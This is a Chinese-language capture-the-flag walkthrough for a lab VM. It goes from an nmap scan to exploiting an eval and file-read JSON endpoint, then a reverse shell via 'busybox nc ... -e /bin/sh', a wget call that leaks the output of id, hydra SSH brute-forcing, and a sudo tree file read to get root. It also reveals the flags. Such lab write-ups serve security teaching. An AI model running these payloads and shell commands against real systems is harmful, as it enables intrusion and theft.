vm1

1.信息收集

```
┌──(root㉿kali)-[/tmp/test]
└─# nmap -sn 192.168.2.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-20 05:42 EST
Nmap scan report for 192.168.2.1
Host is up (0.0088s latency).
MAC Address: B4:5F:84:E2:C0:16 (zte)
Nmap scan report for 192.168.2.2
Host is up (0.079s latency).
MAC Address: 6A:67:09:D1:B0:56 (Unknown)
Nmap scan report for 192.168.2.6
Host is up (0.000079s latency).
MAC Address: C8:8A:9A:D9:80:32 (Intel Corporate)
Nmap scan report for 192.168.2.84
Host is up (0.00037s latency).
MAC Address: 08:00:27:B6:85:12 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
Nmap scan report for 192.168.2.60
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 18.87 seconds

┌──(root㉿kali)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 192.168.2.84
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-20 05:42 EST
Nmap scan report for 192.168.2.84
Host is up (0.00061s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
222/tcp  open  rsh-spx
9000/tcp open  cslistener
MAC Address: 08:00:27:B6:85:12 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 11.12 seconds

┌──(root㉿kali)-[/tmp/test]
└─# nmap -sV -sC -O -p80,222,9000 192.168.2.84
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-20 05:43 EST
Nmap scan report for 192.168.2.84
```

```
Host is up (0.00032s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
222/tcp  open  ssh     OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
| ssh-hostkey:
|   2048 35:24:47:15:81:af:ee:0a:51:d5:34:53:52:86:42:9e (RSA)
|   256 52:c2:56:d3:6c:0d:e5:02:76:83:00:bf:5e:73:64:51 (ECDSA)
|_  256 1a:8e:9c:db:11:ad:da:2d:cd:76:31:d1:fc:e5:ef:8d (ED25519)
9000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.12)
|_http-title: CTF Arbitrator
|_http-server-header: Werkzeug/3.1.3 Python/3.12.12
MAC Address: 08:00:27:B6:85:12 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS
7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.83 seconds
```

可以看到靶机开放80，222(ssh)，9000(http)

80端口访问位apache默认页面，目录扫描未发现隐藏信息，不再展示

2.web渗透

访问9000端口，可以看到接收json然后传入只对本地开放的8080以及5000端口

`<!-- {"action":"readfile","file":"/etc/hosts"} -->`
源码注释有提示，经过几轮测试发现，action支持readfile，evalcode，对应的第二个参数分别是file以及code

```
curl -X POST -d 'json_payload={"action":"readfile","file":"/etc/hosts"}'
http://192.168.2.84:9000/submit
```

```
{
    "content": "127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-
loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02::1\tip6-
allnodes\nff02::2\tip6-allrouters\n172.17.0.2\ta073427b45da\n",
    "filename": "/etc/hosts"
}
```

可以看到hosts文件有个内网ip对应一个docker容器。读取hostname文件证明是docker

```
curl -X POST -d 'json_payload={"action":"readfile","file":"/etc/hostname"}'
http://192.168.2.84:9000/submit

{
    "content": "a073427b45da\n",
    "filename": "/etc/hostname"
}
```

爆破pid读到python源码路径

```
curl -X POST -d 'json_payload={"action":"readfile","file":"/proc/19/cmdline"}'
http://192.168.2.84:9000/submit

/code/agent/pyagent.py
```

成功读到源码

```
from flask import Flask, request, jsonify
import os
import sys
from io import StringIO

app = Flask(__name__)

@app.route('/process', methods=['POST'])
def process_action():
    try:
        # 尝试获取 JSON 数据
        data = request.get_json()
    except:
        return jsonify({'error': 'Invalid JSON input or missing "action"
field.'}), 400

    # 检查数据和 'action' 字段是否存在
    if not data or 'action' not in data:
```

```
        return jsonify({'error': 'Invalid JSON input or missing "action"
field.'}), 400

    # 🚨 JSON 键冲突漏洞点：Python 读取最后一个 'action' 键
    action = data['action']

    if action == 'readfile':
        if 'file' not in data:
            return jsonify({'error': 'Missing "file" parameter for readfile
action.'}), 400

        # 🚨 本地文件包含 (LFI) 漏洞点：直接使用用户输入作为文件名
        filename = data['file']

        try:
            # 路径遍历漏洞利用点：open() 没有路径清理
            with open(filename, 'r') as f:
                content = f.read()
                return jsonify({
                    "filename": filename,
                    "content": content
                })
        except FileNotFoundError:
            # 常见的 File Not Found 错误信息
            return jsonify({"error": f"File '{filename}' not found or not
readable"}), 404
        except Exception as e:
            return jsonify({
                "error": f"Error reading file: {str(e)}",
                "type": type(e).__name__
            }), 500

    elif action == 'evalcode':
        if 'code' not in data:
            return jsonify({'error': 'Missing \"code\" parameter for evalcode
action.'}), 400

        # 🚨 RCE 核心漏洞点：获取代码字符串
        code_to_eval = data['code']

        # 设置输出重定向，捕获 print() 输出
        old_stdout = sys.stdout
        redirected_output = StringIO()
        sys.stdout = redirected_output

        result = None
```

```
        error_type = None
        error_message = None

        try:
            # 🚨 RCE 核心漏洞点：将用户输入作为 Python 代码执行
            result = eval(code_to_eval)

        except Exception as e:
            error_type = type(e).__name__
            error_message = str(e)
        finally:
            # 恢复标准输出
            sys.stdout = old_stdout

        captured_output = redirected_output.getvalue()

        if error_type:
             return jsonify({
                 "error": f"Code execution error ({error_type}):
{error_message}",
                 "type": error_type
             }), 500

        return jsonify({
            "code": code_to_eval,
            "result": str(result),
            "output": captured_output,
            "type": str(type(result).__name__)
        })

    else:
        return jsonify({'error': 'Unknown action. Supported actions: readfile,
evalcode.'}), 400

if __name__ == '__main__':
    app.run(debug=True, host='127.0.0.1', port=5000)
```

引入了os模块直接os.system()执行命令即可，这里页面会返回仲裁报错，但是实际测试是执行的了

```
curl -X POST -d 'json_payload={"action":"evalcode","code":"os.system(\"busybox
wget http://192.168.2.60:81/$(id)\")"}' http://192.168.2.84:9000/submit

php -S 0.0:81
[Thu Nov 20 05:59:25 2025] PHP 8.4.11 Development Server (http://0.0:81)
```

```
started
[Thu Nov 20 05:59:53 2025] 192.168.2.84:40944 Accepted
[Thu Nov 20 05:59:53 2025] 192.168.2.84:40944 [404]: GET /uid=1001(python) -
No such file or directory
[Thu Nov 20 05:59:53 2025] 192.168.2.84:40944 Closing
```

直接弹shell即可，不过读取passwd时发现环境都是sh环境，反弹bash会直接断掉，所以弹sh，进shell后发现实际上docker内没有bash

```
curl -X POST -d 'json_payload={"action":"evalcode","code":"os.system(\"busybox
nc 192.168.2.60 2332 -e /bin/sh\")"}' http://192.168.2.84:9000/submit
```

3.提权

进来是py用户，可以读取到所有源码，根下有三个flag，分别对应用户可读

```
-rw-------    1 node     node            23 Nov 20 10:09 flag_node
-rw-------    1 php      php             13 Nov 20 10:09 flag_php
-rw-------    1 python   python          20 Nov 20 10:09 flag_py
```

分别反弹php以及node用户shell

php

```
curl -X POST -d 'json_payload={"action":"evalcode","code":"system(\"busybox nc
192.168.2.60 2332 -e /bin/sh\")"}' http://192.168.2.84:9000/submit
```

node

node开在3000端口，直接在反弹shell里请求

```
PAYLOAD_LEN=$(printf "%s" "$JSON_PAYLOAD" | wc -c)

(
    printf "POST /evalcode HTTP/1.1\r\n"
    printf "Host: 127.0.0.1:3000\r\n"
    printf "Content-Type: application/json\r\n"
    printf "Content-Length: %s\r\n" "$PAYLOAD_LEN"
    printf "Connection: close\r\n"
    printf "\r\n"
    printf "%s" "$JSON_PAYLOAD"
) | busybox nc 127.0.0.1 3000
```

```
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 129
ETag: W/"81-tdc7ZL7Y8BudCT9OfOyfE8uFcjE"
Date: Thu, 20 Nov 2025 11:23:07 GMT
Connection: close

{"code":"require(\"child_process\").execSync(\"cat
/flag_node\").toString()","result":"have_@funnnnnnnngooos}\n","type":"string"}


flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}
```

这个flag是主机某个用户密码，ssh爆破一手

```
┌──(root㉿kali)-[/tmp/test]
└─# hydra -L ssh.txt -P pass.txt -s 222 192.168.2.84 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is
non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-20
06:25:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:30/p:1),
~2 tries per task
[DATA] attacking ssh://192.168.2.84:222/
[222][ssh] host: 192.168.2.84   login: admin   password:
flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-20
06:25:10
```

root

```
admin@debian:/$ sudo -l
Matching Defaults entries for admin on debian:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User admin may run the following commands on debian:
    (ALL) /usr/bin/tree
```

```
  ------- Input options -------
  --fromfile    Reads paths from files (.=stdin)
```

```
admin@debian:/$ sudo tree --fromfile /root/root.txt
/root/root.txt
`-- flag{woahiz}

0 directories, 1 file
```